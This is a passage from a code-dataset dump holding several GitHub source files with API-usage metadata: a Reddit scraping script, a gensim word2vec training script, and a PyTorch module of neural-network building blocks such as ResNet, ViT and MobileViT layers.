{"api_name": "RPi.GPIO.output", "line_number": 434, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 434, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 434, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 436, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 436, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 436, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 480, "usage_type": "call"}]} {"seq_id": "29827679461", "text": "import requests\nfrom bs4 import BeautifulSoup\nfrom pprint import pprint\n\n## Fonction that scrap from reddit the 7th first posts in one community : \n# with the title, link, date, votes, comments ; user not available\n\n#choose the community; has to be written as it would be in the url\n\n\ncommunity = input(\"Choose a community on Reddit to scrap: \")\n\ndef recup_reddit(community):\n mainurl = 'https://www.reddit.com/r/'\n url = mainurl+community\n headers = {'user-agent': 'ines'}\n response = requests.get(url, headers=headers)\n soup = BeautifulSoup(response.text, \"html.parser\")\n response.status_code\n allposts = soup.select(\".Post\")\n posts = []\n for post in allposts:\n title = post.select_one('a[data-click-id=\"body\"]').get_text()\n link = post.select_one('a[data-click-id=\"body\"]').get('href')\n date = post.select_one('span[data-testid=\"post_timestamp\"]').get_text()\n votes = post.select_one(\"._1rZYMD_4xY3gRcSS3p8ODO\").get_text()\n comments = post.select_one('a[data-click-id=\"comments\"]').get_text()\n nbcom = comments.split()\n nbcom.pop()\n nbcom = ''.join(nbcom)\n result = {\n \"title\": title,\n \"link\": link,\n \"date\": date,\n \"votes\": votes,\n \"comments\": comments\n }\n posts.append(result)\n pprint(posts)\nrecup_reddit(community)", "repo_name": "inesgrd/Scraping-Reddit", "sub_path": "archive_scripts/reddit_def_recup.py", "file_name": "reddit_def_recup.py", "file_ext": "py", "file_size_in_byte": 1382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 18, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 39, "usage_type": "call"}]} {"seq_id": "2737897281", "text": "#!/home/liuzheng/miniconda3/bin/python\n# -*- coding: utf-8 -*-\nimport os, sys\nimport multiprocessing\nimport gensim \nimport time\n\ndef word2vec_train(input_file, output_file):\n sentences = gensim.models.word2vec.LineSentence(input_file)\n model = gensim.models.Word2Vec(sentences, size=300, min_count=10, iter=20, sg=0, workers=multiprocessing.cpu_count())\n # 2016-03-20 11:45:39 time format\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())) \n model.save(output_file)\n model.wv.save_word2vec_format(output_file + '.model.bin', binary=True) \n model.wv.save_word2vec_format(output_file + '.model.txt', binary=False)\n #model.save_word2vec_format(output_file + '.vector', binary=True)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print(\"Usage: python script.py infile outfile\")\n sys.exit()\n print(\"start training--------------\")\n # 2016-03-20 11:45:39 time format\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())) \n time_start = time.time()\n input_file, output_file = sys.argv[1], sys.argv[2]\n word2vec_train(input_file, output_file)\n print(\"time cost: %fm\" %((time.time()-time_start)/60))\n", "repo_name": "njirene/Comparative-QA", "sub_path": "train_wiki_wordembeddng.py", "file_name": "train_wiki_wordembeddng.py", "file_ext": "py", "file_size_in_byte": 1180, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gensim.models.word2vec.LineSentence", "line_number": 9, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 9, "usage_type": "attribute"}, {"api_name": "gensim.models.Word2Vec", "line_number": 10, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 10, "usage_type": "attribute"}, {"api_name": "multiprocessing.cpu_count", "line_number": 10, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 12, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 22, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 25, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 25, "usage_type": "call"}, {"api_name": "time.time", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 29, "usage_type": "call"}]} {"seq_id": "1568005515", "text": "import torch\nfrom torch import nn\nfrom typing import Union\nimport math\nimport torch.nn.functional as F\nfrom SpecialTopic.ST.utils import to_2tuple\nfrom .basic import BaseConv, DWConv, ConvModule\nfrom ..build import build_activation, build_norm, build_conv, build_dropout\n\n\nclass CSPLayer(nn.Module):\n def __init__(self, in_channels, out_channels, n=1, shortcut=True, expansion=0.5, depthwise=False, act='silu'):\n super(CSPLayer, self).__init__()\n hidden_channels = int(out_channels * expansion)\n self.conv1 = BaseConv(in_channels, hidden_channels, 1, stride=1, act=act)\n self.conv2 = BaseConv(in_channels, hidden_channels, 1, stride=1, act=act)\n self.conv3 = BaseConv(hidden_channels * 2, out_channels, 1, stride=1, act=act)\n module_list = [Bottleneck(hidden_channels, hidden_channels, shortcut, 1.0, depthwise, act=act)\n for _ in range(n)]\n self.m = nn.Sequential(*module_list)\n\n def forward(self, x):\n x_1 = self.conv1(x)\n x_2 = self.conv2(x)\n x_1 = self.m(x_1)\n x = torch.cat((x_1, x_2), dim=1)\n return self.conv3(x)\n\n\nclass Bottleneck(nn.Module):\n def __init__(self, in_channels, out_channels, shortcut=True, expansion=0.5, depthwise=False, act='silu'):\n super(Bottleneck, self).__init__()\n hidden_channels = int(in_channels * expansion)\n Conv = DWConv if depthwise else BaseConv\n self.conv1 = BaseConv(in_channels, hidden_channels, 1, stride=1, act=act)\n self.conv2 = Conv(hidden_channels, out_channels, 3, stride=1, act=act)\n self.use_add = shortcut and in_channels == out_channels\n\n def forward(self, x):\n y = self.conv2(self.conv1(x))\n if self.use_add:\n y = y + x\n return y\n\n\nclass SPPBottleneck(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=(5, 9, 13), activation='silu'):\n super(SPPBottleneck, self).__init__()\n hidden_channels = in_channels // 2\n self.conv1 = BaseConv(in_channels, hidden_channels, 1, stride=1, act=activation)\n self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=ks, stride=1, padding=ks // 2) for ks in kernel_size])\n conv2_channels = hidden_channels * (len(kernel_size) + 1)\n self.conv2 = BaseConv(conv2_channels, out_channels, 1, stride=1, act=activation)\n\n def forward(self, x):\n x = self.conv1(x)\n x = torch.cat([x] + [m(x) for m in self.m], dim=1)\n return self.conv2(x)\n\n\nclass Focus(nn.Module):\n def __init__(self, in_channels, out_channels, ksize=1, stride=1, act='silu'):\n super(Focus, self).__init__()\n self.conv = BaseConv(in_channels * 4, out_channels, ksize, stride, act=act)\n\n def forward(self, x):\n patch_top_left = x[..., ::2, ::2]\n patch_bot_left = x[..., 1::2, ::2]\n patch_top_right = x[..., ::2, 1::2]\n patch_bot_right = x[..., 1::2, 1::2]\n x = torch.cat((patch_top_left, patch_bot_left, patch_top_right, patch_bot_right), dim=1)\n return self.conv(x)\n\n\nclass BasicBlock3d(nn.Module):\n expansion = 1\n\n def __init__(self, inplanes, planes, spatial_stride=1, temporal_stride=1, dilation=1, downsample=None, inflate=True,\n conv_cfg='Default', norm_cfg='Default', act_cfg='Default'):\n super(BasicBlock3d, self).__init__()\n if conv_cfg == 'Default':\n conv_cfg = dict(type='Conv3d')\n if norm_cfg == 'Default':\n norm_cfg = dict(type='BN3d')\n if act_cfg == 'Default':\n act_cfg = dict(type='ReLU')\n self.inplanes = inplanes\n self.planes = planes\n self.spatial_stride = spatial_stride\n self.temporal_stride = temporal_stride\n self.dilation = dilation\n self.inflate = inflate\n self.conv_cfg = conv_cfg\n self.norm_cfg = norm_cfg\n self.act_cfg = act_cfg\n self.conv1_stride_s = spatial_stride\n self.conv2_stride_s = 1\n self.conv1_stride_t = temporal_stride\n self.conv2_stride_t = 1\n if self.inflate:\n conv1_kernel_size = (3, 3, 3)\n conv1_padding = (1, dilation, dilation)\n conv2_kernel_size = (3, 3, 3)\n conv2_padding = (1, 1, 1)\n else:\n conv1_kernel_size = (1, 3, 3)\n conv1_padding = (0, dilation, dilation)\n conv2_kernel_size = (1, 3, 3)\n conv2_padding = (0, 1, 1)\n self.conv1 = ConvModule(\n inplanes,\n planes,\n conv1_kernel_size,\n stride=(self.conv1_stride_t, self.conv1_stride_s, self.conv1_stride_s),\n padding=conv1_padding,\n dilation=(1, dilation, dilation),\n bias=False,\n conv_cfg=self.conv_cfg, norm_cfg=self.norm_cfg, act_cfg=self.act_cfg\n )\n self.conv2 = ConvModule(\n planes,\n planes * self.expansion,\n conv2_kernel_size,\n stride=(self.conv2_stride_t, self.conv2_stride_s, self.conv2_stride_s),\n padding=conv2_padding,\n bias=False,\n conv_cfg=self.conv_cfg, norm_cfg=self.norm_cfg, act_cfg=None\n )\n self.downsample = downsample\n self.relu = build_activation(self.act_cfg)\n\n def forward(self, x):\n identity = x\n out = self.conv1(x)\n out = self.conv2(out)\n if self.downsample is not None:\n identity = self.downsample(x)\n out = out + identity\n out = self.relu(out)\n return out\n\n\nclass Bottleneck3d(nn.Module):\n expansion = 4\n \n def __init__(self, inplanes, planes, spatial_stride=1, temporal_stride=1, dilation=1, downsample=None, inflate=True,\n conv_cfg='Default', norm_cfg='Default', act_cfg='Default'):\n super(Bottleneck3d, self).__init__()\n if conv_cfg == 'Default':\n conv_cfg = dict(type='Conv3d')\n if norm_cfg == 'Default':\n norm_cfg = dict(type='BN3d')\n if act_cfg == 'Default':\n act_cfg = dict(type='ReLU')\n self.inplanes = inplanes\n self.planes = planes\n self.spatial_stride = spatial_stride\n self.temporal_stride = temporal_stride\n self.dilation = dilation\n self.inflate = inflate\n self.norm_cfg = norm_cfg\n self.conv_cfg = conv_cfg\n self.act_cfg = act_cfg\n\n self.conv1_stride_s = 1\n self.conv2_stride_s = spatial_stride\n self.conv1_stride_t = 1\n self.conv2_stride_t = temporal_stride\n if self.inflate:\n conv1_kernel_size = (3, 1, 1)\n conv1_padding = (1, 0, 0)\n conv2_kernel_size = (1, 3, 3)\n conv2_padding = (0, dilation, dilation)\n else:\n conv1_kernel_size = (1, 1, 1)\n conv1_padding = (0, 0, 0)\n conv2_kernel_size = (1, 3, 3)\n conv2_padding = (0, dilation, dilation)\n\n self.conv1 = ConvModule(inplanes, planes, conv1_kernel_size,\n stride=(self.conv1_stride_t, self.conv1_stride_s, self.conv1_stride_s),\n padding=conv1_padding, bias=False,\n conv_cfg=self.conv_cfg, norm_cfg=self.norm_cfg, act_cfg=self.act_cfg)\n self.conv2 = ConvModule(planes, planes, conv2_kernel_size,\n stride=(self.conv2_stride_t, self.conv2_stride_s, self.conv2_stride_s),\n padding=conv2_padding, bias=False,\n conv_cfg=self.conv_cfg, norm_cfg=self.norm_cfg, act_cfg=self.act_cfg)\n self.conv3 = ConvModule(planes, planes * self.expansion, kernel_size=1, bias=False,\n conv_cfg=self.conv_cfg, norm_cfg=self.norm_cfg, act_cfg=None)\n self.downsample = downsample\n self.relu = build_activation(self.act_cfg)\n\n def forward(self, x):\n identity = x\n out = self.conv1(x)\n out = self.conv2(out)\n out = self.conv3(out)\n if self.downsample is not None:\n identity = self.downsample(x)\n out = out + identity\n out = self.relu(out)\n return out\n\n\nclass BasicBlockResnet(nn.Module):\n expansion = 1\n\n def __init__(self, in_channel, out_channel, stride=1, downsample=None):\n super(BasicBlockResnet, self).__init__()\n self.layer1 = ConvModule(in_channel, out_channel, kernel_size=3, stride=stride, padding=1, bias=False,\n conv_cfg=dict(type='Conv'), norm_cfg=dict(type='BN'), act_cfg=dict(type='ReLU'))\n self.layer2 = ConvModule(out_channel, out_channel, kernel_size=3, stride=1, padding=1, bias=False,\n conv_cfg=dict(type='Conv'), norm_cfg=dict(type='BN'), act_cfg=None)\n self.downsample = downsample\n self.relu = nn.ReLU()\n\n def forward(self, x):\n identity = x\n if self.downsample is not None:\n identity = self.downsample(x)\n out = self.layer1(x)\n out = self.layer2(out)\n out += identity\n out = self.relu(out)\n return out\n\n\nclass BottleneckResnet(nn.Module):\n expansion = 4\n\n def __init__(self, in_channel, out_channel, stride=1, downsample=None, groups=1, width_per_group=64):\n super(BottleneckResnet, self).__init__()\n width = int(out_channel * (width_per_group / 64.)) * groups\n self.layer1 = ConvModule(in_channel, width, kernel_size=1, stride=1, bias=False,\n conv_cfg=dict(type='Conv'), norm_cfg=dict(type='BN'), act_cfg=dict(type='ReLU'))\n self.layer2 = ConvModule(width, width, kernel_size=3, stride=stride, padding=1, groups=groups, bias=False,\n conv_cfg=dict(type='Conv'), norm_cfg=dict(type='BN'), act_cfg=dict(type='ReLU'))\n self.layer3 = ConvModule(width, out_channel * self.expansion, kernel_size=1, stride=1, bias=False,\n conv_cfg=dict(type='Conv'), norm_cfg=dict(type='BN'), act_cfg=None)\n self.downsample = downsample\n self.relu = nn.ReLU()\n\n def forward(self, x):\n identity = x\n if self.downsample is not None:\n identity = self.downsample(x)\n out = self.layer1(x)\n out = self.layer2(out)\n out = self.layer3(out)\n out += identity\n out = self.relu(out)\n return out\n\n\nclass PatchEmbed(nn.Module):\n def __init__(self, img_size=224, patch_size=16, in_channels=3, embed_dim=768, norm_layer=None):\n super(PatchEmbed, self).__init__()\n img_size = (img_size, img_size)\n patch_size = (patch_size, patch_size)\n self.img_size = img_size\n self.patch_size = patch_size\n self.grid_size = (img_size[0] // patch_size[0], img_size[1] // patch_size[1])\n self.num_patches = self.grid_size[0] * self.grid_size[1]\n self.proj = nn.Conv2d(in_channels, embed_dim, kernel_size=patch_size, stride=patch_size)\n self.norm = norm_layer(embed_dim) if norm_layer else nn.Identity()\n\n def forward(self, x):\n batch_size, channel, height, width = x.shape\n assert height == self.img_size[0] and width == self.img_size[1], \\\n f'輸入圖像大小與網路設定不符'\n x = self.proj(x).flatten(2).transpose(1, 2)\n x = self.norm(x)\n return x\n\n\nclass PatchEmbedNormal(nn.Module):\n def __init__(self, in_channels=3, embed_dims=768, kernel_size=16, stride=None, padding=0, conv_type='Default',\n norm_cfg=None, bias=True):\n super(PatchEmbedNormal, self).__init__()\n if conv_type == 'Default':\n conv_type = dict(type='Conv')\n self.embed_dims = embed_dims\n if stride is None:\n stride = kernel_size\n kernel_size = to_2tuple(kernel_size)\n stride = to_2tuple(stride)\n padding = to_2tuple(padding)\n self.projection = build_conv(conv_type, in_channels=in_channels, out_channels=embed_dims,\n kernel_size=kernel_size, stride=stride, padding=padding, bias=bias)\n if norm_cfg is not None:\n self.norm = build_norm(norm_cfg, embed_dims)[1]\n else:\n self.norm = None\n\n def forward(self, x):\n x = self.projection(x)\n out_size = (x.shape[2], x.shape[3])\n x = x.flatten(2).transpose(1, 2)\n if self.norm is not None:\n x = self.norm(x)\n return x, out_size\n\n\nclass VitBlock(nn.Module):\n def __init__(self, dim, num_heads, mlp_ratio=4., qkv_bias=False, qk_scale=None, drop_ratio=0., attn_drop_ratio=0.,\n drop_path_ratio=0., act_layer='Default', norm_layer='Default'):\n super(VitBlock, self).__init__()\n if act_layer == 'Default':\n act_layer = dict(type='GELU')\n if norm_layer == 'Default':\n norm_layer = dict(type='LN')\n self.norm1 = build_norm(norm_layer, dim)[1]\n self.attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,\n attn_drop_ratio=attn_drop_ratio, proj_drop_ratio=drop_ratio)\n self.drop_path = DropPath(drop_path_ratio) if drop_path_ratio > 0. else nn.Identity()\n self.norm2 = build_norm(norm_layer, dim)[1]\n mlp_hidden_dim = int(dim * mlp_ratio)\n self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop_ratio)\n\n def forward(self, x):\n x = x + self.drop_path(self.attn(self.norm1(x)))\n x = x + self.drop_path(self.mlp(self.norm2(x)))\n return x\n\n\nclass Attention(nn.Module):\n def __init__(self, dim, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop_ratio=0., proj_drop_ratio=0.):\n super(Attention, self).__init__()\n self.num_heads = num_heads\n head_dim = dim // num_heads\n self.scale = qk_scale or head_dim ** -0.5\n self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop_ratio)\n self.proj = nn.Linear(dim, dim)\n self.proj_drop = nn.Dropout(proj_drop_ratio)\n\n def forward(self, x):\n batch_size, num_patch, channel = x.shape\n qkv = self.qkv(x).reshape(batch_size, num_patch, 3, self.num_heads,\n channel // self.num_heads).permute(2, 0, 3, 1, 4)\n # [batch_size, num_heads, num_patches, embed_dim_per_head]\n q, k, v = qkv[0], qkv[1], qkv[2]\n attn = (q @ k.transpose(-2, -1)) * self.scale\n attn = attn.softmax(dim=-1)\n attn = self.attn_drop(attn)\n\n x = (attn @ v).transpose(1, 2).reshape(batch_size, num_patch, channel)\n x = self.proj(x)\n x = self.proj_drop(x)\n return x\n\n\nclass Mlp(nn.Module):\n def __init__(self, in_features, hidden_features=None, out_features=None, act_layer: Union[str, dict] = 'Default',\n drop=0.):\n super(Mlp, self).__init__()\n if act_layer == 'Default':\n act_layer = dict(type='GELU')\n out_features = out_features or in_features\n hidden_features = hidden_features or in_features\n self.fc1 = nn.Linear(in_features, hidden_features)\n self.act = build_activation(act_layer)\n self.fc2 = nn.Linear(hidden_features, out_features)\n self.drop = nn.Dropout(drop)\n\n def forward(self, x):\n x = self.drop(self.act(self.fc1(x)))\n x = self.drop(self.fc2(x))\n return x\n\n\nclass DropPath(nn.Module):\n # 目前只有在VIT上被使用到\n def __init__(self, drop_prob=None):\n super(DropPath, self).__init__()\n self.drop_prob = drop_prob\n\n @staticmethod\n def drop_path(x, drop_prob: float = 0., training: bool = False):\n if drop_prob == 0. or not training:\n return x\n keep_prob = 1 - drop_prob\n shape = (x.shape[0],) + (1,) * (x.ndim - 1)\n random_tensor = keep_prob + torch.rand(shape, dtype=x.dtype, device=x.device)\n random_tensor.floor_()\n output = x.div(keep_prob) * random_tensor\n return output\n\n def forward(self, x):\n return self.drop_path(x, self.drop_prob, self.training)\n\n\nclass InvertedResidual(nn.Module):\n def __init__(self, in_channels, out_channels, stride, expand_ratio, skip_connection=True,\n conv_cfg='Default', norm_cfg='Default', act_cfg='Default'):\n super(InvertedResidual, self).__init__()\n assert stride in [1, 2]\n if conv_cfg == 'Default':\n conv_cfg = dict(type='Conv')\n if norm_cfg == 'Default':\n norm_cfg = dict(type='BN')\n if act_cfg == 'Default':\n act_cfg = dict(type='SiLU')\n hidden_dim = self.make_divisible(int(round(in_channels * expand_ratio)), 8)\n block = nn.Sequential()\n if expand_ratio != 1:\n block.add_module(\n name='exp_1x1',\n module=ConvModule(\n in_channels=in_channels, out_channels=hidden_dim, kernel_size=1,\n conv_cfg=conv_cfg, norm_cfg=norm_cfg, act_cfg=act_cfg))\n block.add_module(\n name='conv_3x3',\n module=ConvModule(\n in_channels=hidden_dim, out_channels=hidden_dim, stride=stride, kernel_size=3, padding=1,\n groups=hidden_dim, conv_cfg=conv_cfg, norm_cfg=norm_cfg, act_cfg=act_cfg))\n block.add_module(\n name='red_1x1',\n module=ConvModule(\n in_channels=hidden_dim, out_channels=out_channels, kernel_size=1,\n conv_cfg=conv_cfg, norm_cfg=norm_cfg, act_cfg=None))\n self.block = block\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.exp = expand_ratio\n self.stride = stride\n self.use_res_connect = (self.stride == 1 and in_channels == out_channels and skip_connection)\n\n def forward(self, x):\n if self.use_res_connect:\n return x + self.block(x)\n else:\n return self.block(x)\n\n @staticmethod\n def make_divisible(v, divisor=8, min_value=None):\n if min_value is None:\n min_value = divisor\n new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\n if new_v < 0.9 * v:\n new_v += divisor\n return new_v\n\n\nclass TransformerEncoder(nn.Module):\n def __init__(self, embed_dim, ffn_latent_dim, num_heads=8, attn_dropout=0.0, dropout=0.0, ffn_dropout=0.0):\n super(TransformerEncoder, self).__init__()\n attn_uint = Attention(embed_dim, num_heads, qkv_bias=True,\n attn_drop_ratio=attn_dropout, proj_drop_ratio=dropout)\n self.pre_norm_mha = nn.Sequential(\n nn.LayerNorm(embed_dim),\n attn_uint\n )\n act_layer = dict(type='SiLU')\n mlp = Mlp(in_features=embed_dim, hidden_features=ffn_latent_dim, out_features=embed_dim,\n act_layer=act_layer, drop=ffn_dropout)\n self.pre_norm_ffn = nn.Sequential(nn.LayerNorm(embed_dim), mlp)\n self.embed_dim = embed_dim\n self.ffn_dim = ffn_latent_dim\n self.ffn_dropout = ffn_dropout\n self.std_dropout = dropout\n\n def forward(self, x):\n res = x\n x = self.pre_norm_mha(x)\n x = x + res\n x = x + self.pre_norm_ffn(x)\n return x\n\n\nclass MobileVitBlock(nn.Module):\n def __init__(self, in_channels, transformer_dim, ffn_dim, transformer_blocks, head_dim=32, attn_dropout=0.0,\n dropout=0.0, ffn_dropout=0.0, patch_h=8, patch_w=8, conv_ksize=3,\n conv_cfg='Default', norm_cfg='Default', act_cfg='Default'):\n super(MobileVitBlock, self).__init__()\n if conv_cfg == 'Default':\n conv_cfg = dict(type='Conv')\n if norm_cfg == 'Default':\n norm_cfg = dict(type='BN')\n if act_cfg == 'Default':\n act_cfg = dict(type='SiLU')\n conv_3x3_in = ConvModule(in_channels=in_channels, out_channels=in_channels, kernel_size=conv_ksize, stride=1,\n padding=1, conv_cfg=conv_cfg, norm_cfg=norm_cfg, act_cfg=act_cfg)\n conv_1x1_in = ConvModule(in_channels=in_channels, out_channels=transformer_dim, kernel_size=1, bias=False,\n conv_cfg=conv_cfg, norm_cfg=None, act_cfg=None)\n conv_1x1_out = ConvModule(in_channels=transformer_dim, out_channels=in_channels, kernel_size=1, stride=1,\n conv_cfg=conv_cfg, norm_cfg=norm_cfg, act_cfg=act_cfg)\n conv_3x3_out = ConvModule(in_channels=2 * in_channels, out_channels=in_channels, kernel_size=conv_ksize,\n padding=1, stride=1, conv_cfg=conv_cfg, norm_cfg=norm_cfg, act_cfg=act_cfg)\n self.local_rep = nn.Sequential()\n self.local_rep.add_module(name='conv_3x3', module=conv_3x3_in)\n self.local_rep.add_module(name='conv_1x1', module=conv_1x1_in)\n assert transformer_dim % head_dim == 0\n num_heads = transformer_dim // head_dim\n global_rep = [\n TransformerEncoder(embed_dim=transformer_dim, ffn_latent_dim=ffn_dim, num_heads=num_heads,\n attn_dropout=attn_dropout, dropout=dropout, ffn_dropout=ffn_dropout)\n for _ in range(transformer_blocks)\n ]\n global_rep.append(nn.LayerNorm(transformer_dim))\n self.global_rep = nn.Sequential(*global_rep)\n self.conv_proj = conv_1x1_out\n self.fusion = conv_3x3_out\n self.patch_h = patch_h\n self.patch_w = patch_w\n self.patch_area = self.patch_w * self.patch_h\n self.cnn_in_dim = in_channels\n self.cnn_out_dim = transformer_dim\n self.n_heads = num_heads\n self.ffn_dim = ffn_dim\n self.dropout = dropout\n self.attn_dropout = attn_dropout\n self.ffn_dropout = ffn_dropout\n self.n_blocks = transformer_blocks\n self.conv_ksize = conv_ksize\n\n def unfolding(self, x):\n patch_w, patch_h = self.patch_w, self.patch_h\n patch_area = patch_w * patch_h\n batch_size, in_channels, orig_h, orig_w = x.shape\n new_h = int(math.ceil(orig_h / self.patch_h) * self.patch_h)\n new_w = int(math.ceil(orig_w / self.patch_w) * self.patch_w)\n interpolate = False\n if new_w != orig_w or new_h != orig_h:\n x = F.interpolate(x, size=(new_h, new_w), mode='bilinear', align_corners=False)\n interpolate = True\n num_patch_w = new_w // patch_w\n num_patch_h = new_h // patch_h\n num_patches = num_patch_w * num_patch_h\n x = x.reshape(batch_size * in_channels * num_patch_h, patch_h, num_patch_w, patch_w)\n x = x.transpose(1, 2)\n x = x.reshape(batch_size, in_channels, num_patches, patch_area)\n x = x.transpose(1, 3)\n x = x.reshape(batch_size * patch_area, num_patches, -1)\n info_dict = {\n 'orig_size': (orig_h, orig_w),\n 'batch_size': batch_size,\n 'interpolate': interpolate,\n 'total_patches': num_patches,\n 'num_patches_w': num_patch_w,\n 'num_patches_h': num_patch_h\n }\n return x, info_dict\n\n def folding(self, x, info_dict):\n n_dim = x.dim()\n assert n_dim == 3, 'Tensor格式錯誤'\n x = x.contiguous().view(info_dict['batch_size'], self.patch_area, info_dict['total_patches'], -1)\n batch_size, pixels, num_patches, channels = x.shape\n num_patch_h = info_dict['num_patches_h']\n num_patch_w = info_dict['num_patches_w']\n x = x.transpose(1, 3)\n x = x.reshape(batch_size * channels * num_patch_h, num_patch_w, self.patch_h, self.patch_w)\n x = x.transpose(1, 2)\n x = x.reshape(batch_size, channels, num_patch_h * self.patch_h, num_patch_w * self.patch_w)\n if info_dict['interpolate']:\n x = F.interpolate(x, size=info_dict['orig_size'], mode='bilinear', align_corners=False)\n return x\n\n def forward(self, x):\n res = x\n fm = self.local_rep(x)\n patches, info_dict = self.unfolding(fm)\n for transformer_layer in self.global_rep:\n patches = transformer_layer(patches)\n fm = self.folding(x=patches, info_dict=info_dict)\n fm = self.conv_proj(fm)\n fm = self.fusion(torch.cat((res, fm), dim=1))\n return fm\n\n\nclass MultiheadAttention(nn.Module):\n def __init__(self, embed_dims, num_heads, attn_drop=0., proj_drop=0., dropout_layer='Default', batch_first=False,\n **kwargs):\n # 這裡比較特別的是直接使用pytorch官方給的注意力模塊，所以如果遇到預訓練權重是使用官方的attention模塊就用這個\n super(MultiheadAttention, self).__init__()\n if dropout_layer == 'Default':\n dropout_layer = dict(type='Dropout', p=0.)\n self.embed_dims = embed_dims\n self.num_heads = num_heads\n self.batch_first = batch_first\n self.attn = nn.MultiheadAttention(embed_dims, num_heads, attn_drop, **kwargs)\n self.proj_drop = nn.Dropout(proj_drop)\n self.drop_layer = build_dropout(dropout_layer) if dropout_layer is not None else nn.Identity()\n\n def forward(self, query, key=None, value=None, identity=None, query_pos=None, key_pos=None, attn_mask=None,\n key_padding_mask=None, **kwargs):\n if key is None:\n key = query\n if value is None:\n value = key\n if identity is None:\n identity = query\n if key_pos is None:\n if query_pos is not None:\n if query_pos.shape == key.shape:\n key_pos = query_pos\n if query_pos is not None:\n query += query_pos\n if key_pos is not None:\n key = key + key_pos\n if self.batch_first:\n query = query.tranpose(0, 1)\n key = key.transpose(0, 1)\n value = value.tranpose(0, 1)\n out = self.attn(query=query, key=key, value=value, attn_mask=attn_mask, key_padding_mask=key_padding_mask)[0]\n if self.batch_first:\n out = out.transpose(0, 1)\n return identity + self.drop_layer(self.proj_drop(out))\n", "repo_name": "chris901003/DeepLearning", "sub_path": "SpecialTopic/ST/net/layer.py", "file_name": "layer.py", "file_ext": "py", "file_size_in_byte": 26120, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "basic.BaseConv", "line_number": 15, "usage_type": "call"}, {"api_name": "basic.BaseConv", "line_number": 16, "usage_type": "call"}, {"api_name": "basic.BaseConv", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "basic.DWConv", "line_number": 34, "usage_type": "name"}, {"api_name": "basic.BaseConv", "line_number": 34, "usage_type": "name"}, {"api_name": "basic.BaseConv", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "basic.BaseConv", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 51, "usage_type": "call"}, {"api_name": "basic.BaseConv", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "basic.BaseConv", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 75, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "basic.ConvModule", "line_number": 110, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 120, "usage_type": "call"}, {"api_name": "build.build_activation", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 143, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 143, "usage_type": "name"}, {"api_name": "basic.ConvModule", "line_number": 180, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 184, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 188, "usage_type": "call"}, {"api_name": "build.build_activation", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 205, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 205, "usage_type": "name"}, {"api_name": "basic.ConvModule", "line_number": 210, "usage_type": "call"}, {"api_name": "basic.ConvModule", "line_number": 212, "usage_type": "call"}, {"api_name": 